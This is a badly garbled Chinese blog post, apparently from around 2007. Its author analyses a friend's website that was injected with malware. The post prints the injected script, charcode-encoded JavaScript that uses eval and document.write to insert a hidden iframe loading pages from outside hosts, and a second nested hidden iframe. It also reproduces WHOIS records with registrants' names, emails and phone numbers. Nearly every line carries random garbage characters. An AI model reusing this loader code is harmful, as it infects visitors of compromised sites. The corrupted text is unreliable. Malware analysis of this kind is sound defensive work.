首发在我的博客里面，
-UT}/:a e+K^A q http://www.areway.cn/?p=175 BJ(M 2|VH O Z;*JR: =2x^nW 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
w4Z'K& d= 7K :PdF>/ <script>t=’60,105,102,114,97,109,101,
\73ch 32,115,114,99,61,104,116,116,112,58,47,47,
32
=z)]FZ 102,114,101,101,46,117,45,117,117,117,46,99,
9gZ $
110,47,101,114,114,111,114,46,104,116,109,
`r_/Wt{g 32,119,105,100,116,104,61,49,48,48,32,104,
)!T/3|C 101,105,103,104,116,61,48,62,60,47,105,102,
Xn
;AZu^'R 114,97,109,101,62′;
>(RkZ}z t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
jc9y<{~x/ 6W
Ur QFK <script>t=’60,105,102,114,97,109,101,32,115,
Gs[XJ 5%`~ 114,99,61,104,116,116,112,58,47,47,102,114,
@KAI4LP 101,101,46,117,45,117,117,117,46,99,110,47,
#.[k=dj 101,114,114,111,114,46,104,116,109,32,119,
3;Fhg!Z O 105,100,116,104,61,49,48,48,32,104,101,105,
vvOV2n .WD 103,104,116,61,48,62,60,47,105,102,114,97,
syK^<xa 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
TS5Q1+hWHV document.write(t);</script>
@lph)A Nk k VQ\1! <html xmlns=”
rrv%~giU http://www.w3.org/1999/xhtml vfo~27T{( “>
rVs J`+L <head>
Af{"pzY <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Rx}Gz$ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
vr^qWn <title>首页 - 爱生活家庭网
40
0#v |b cN 9t{.m 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
J$v?T$LVw 转换字符串后的大概内容是（谁点击后果自付）：
1-QS~)+ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
.%QXzIa3F CJI~_3+K 查询玉米u-uuu.cn的详细信息：
W@!S%Y9 Domain Name: u-uuu.cn
,7b[!#?8 ROID: 20070901s10001s64972306-cn
Q NVa?'0"Y Domain Status: ok
F4{IEZ Registrant Organization: 王雷
>&k-'`Nw Registrant Name: 王雷
{]|J5Dgfe Administrative Email:
czlovexs@126.com 0SPk|k r Sponsoring Registrar: 北京万网志成科技有限公司
dcT80sOC Name Server:ns.yovole.com
j
<RrLn_ Name Server:ns1.yovole.com
_<2E"PrT Registration Date: 2007-09-01 17:54
0qT%!ku& Expiration Date: 2008-09-01 17:54
?G&ikxl 最后PING了一下地址 都没有什么….
c[Zje7 @ Z EO WO 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
^G-@06 /! <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
dC4'{ n| 7 <script language=”javascript” src=”
4xJQ!>6 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >yh2Lri >
&iV s0 R 这个玉米应该有可能是木马作者的：
\D&KC,i5f foafau.info的详细信息：
~^b/( Access to INFO WHOIS information is provided to assist persons in
u> / TE determining the contents of a domain name registration record in the
\5cpFj5% Afilias registry database. The data in this record is provided by
g$o&Udgs Afilias Limited for informational purposes only, and Afilias does not
;6hOx(>`= guarantee its accuracy. This service is intended only for query-based
2)~> R access. You agree that you will use this data only for lawful purposes
(_{y B[z>` and that, under no circumstances will you use this data to: (a) allow,
'[O;zJN; enable, or otherwise support the transmission by e-mail, telephone, or
uRe'% ?W facsimile of mass unsolicited, commercial advertising or solicitations
y18Y:)DkL to entities other than the data recipient’s own existing customers; or
&G$Ucc
` (b) enable high volume, automated, electronic processes that send
KCDE{za queries or data to the systems of Registry Operator, a Registrar, or
gv{ >`AN Afilias except as reasonably necessary to register domain names or
&
"B=/-( modify existing registrations. All rights reserved. Afilias reserves
Jpo (Wl the right to modify these terms at any time. By submitting this query,
D7qOZlX16 you agree to abide by this policy.
Fea(zJ_ Domain ID:D22418703-LRMS
/JU.?M35 Domain Name:FOAFAU.INFO
IdxzE_@ Created On:20-Nov-2007 16:05:42 UTC
vSLtFMq^( Last Updated On:20-Nov-2007 16:05:44 UTC
G<;*SYAb Expiration Date:20-Nov-2008 16:05:42 UTC
sFTy(A/ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
ji,kkipY?w Status:CLIENT DELETE PROHIBITED
RY*U"G0#w Status:CLIENT RENEW PROHIBITED
5i{j' {_(8 Status:CLIENT TRANSFER PROHIBITED
EDs\,f} Status:CLIENT UPDATE PROHIBITED
,3 u}x, Status:TRANSFER PROHIBITED
B4 8={ Registrant ID:GODA-040110615
,wdD8ZT'Ip Registrant Name:liu hong
8SS|a Registrant Organization:
h3@v+Z<} Registrant Street1:beijing
HiJE}V;Vq Registrant Street2:
$7A8/# Registrant Street3:
7i1q wRv Registrant City:beijing
7 x?<*T Registrant State/Province:
8kDp_s i Registrant Postal Code:100000
b*Q &CL Registrant Country:CN
r-/`"j{O! Registrant Phone:+86.860108888777
R_S.tT! Registrant Phone Ext.:
]:/Q]n^ Registrant FAX:
01(AK% e Registrant FAX Ext.:
*s iFj
CN< Registrant Email:bbbshiji@163.com
t5IEQ2 Admin ID:GODA-240110615
iMRwp +$ Admin Name:liu hong
'(jG[ry&T Admin Organization:
Lbb0_-'] Admin Street1:beijing
QnX(V[ Admin Street2:
*E wR!L* Admin Street3:
K )k<Rh[< Admin City:beijing
VTHH&$ZNq Admin State/Province:
s=/v';5J2! Admin Postal Code:100000
57'4ljvYi Admin Country:CN
2jCf T>`3 Admin Phone:+86.860108888777
KdbHyg<4 Admin Phone Ext.:
H~z`] 5CN Admin FAX:
mXfXO*Cnp Admin FAX Ext.:
VBcPu Admin Email:bbbshiji@163.com
i8HTzv"J Billing ID:GODA-340110615
{U !g.rh Billing Name:liu hong
DrK{}uM Billing Organization:
8 BNi1Qn$ Billing Street1:beijing
hqkz^!rp Billing Street2:
c_!cv":s Billing Street3:
l0i^uMS Billing City:beijing
)B8$<sv Billing State/Province:
r^ ZEImjc Billing Postal Code:100000
lBGQEP3; Billing Country:CN
K8Y=S12Ti Billing Phone:+86.860108888777
uOdl*| T ? Billing Phone Ext.:
$\y'I Q% Billing FAX:
gjzuG< 7m Billing FAX Ext.:
i ,9)\1R Billing Email:bbbshiji@163.com
7EO_5/c Y Tech ID:GODA-140110615
PXNh&N Tech Name:liu hong
WVvv I9 Tech Organization:
6<(.4a? Tech Street1:beijing
fXQNHZ|4 Tech Street2:
i&GH/y Tech Street3:
Xh;# Tech City:beijing
zjo q6 Tech State/Province:
e6 RPIg Tech Postal Code:100000
C8i^P}y Tech Country:CN
*<ewS8f*6 Tech Phone:+86.860108888777
*$ %a:q1U Tech Phone Ext.:
XACm[NY_ Tech FAX:
]- QA'Lq Tech FAX Ext.:
,:\|7 F Tech Email:bbbshiji@163.com
001FmiV Name Server:NS27.DOMAINCONTROL.COM
k7A -J\ Name Server:NS28.DOMAINCONTROL.COM
h2 ;F Name Server:
5iy d Z Name Server:
zi`o#+ Name Server:
Czu\RXJR Name Server:
8StgsM Name Server:
O#S .n #{ Name Server:
P 1' al Name Server:
{fn!' Name Server:
e(=w(;84 Name Server:
I83<r 9 Name Server:
6a r
Name Server:
]yPqLJ ZoZ| M a 接着下载每个文件里面的代码：
8X)Y^uGGZ 一步一步看..
9o:Lz5 o 
9\JF`ff _ 
r#] WI| 
$,Yd>%Y 
`XE r( e9 
p gZXJ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
